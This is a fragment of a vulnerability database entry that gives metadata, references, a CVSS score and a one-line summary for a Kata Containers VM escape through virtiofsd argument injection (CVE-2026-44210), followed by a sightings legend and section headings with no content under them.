  "id": "GHSA-rr59-xxvx-96qr",
  "modified": "2026-05-26T23:57:58Z",
  "published": "2026-05-26T23:57:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kata-containers/kata-containers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-44210 (GCVE-0-2026-44210)

GHSA-RR59-XXVX-96QR

Summary

Details

Rootfs bridge (PoC artifact, not a real constraint)

Impact

Steps to reproduce

Proof of concept output

Tags

Sightings

Nomenclature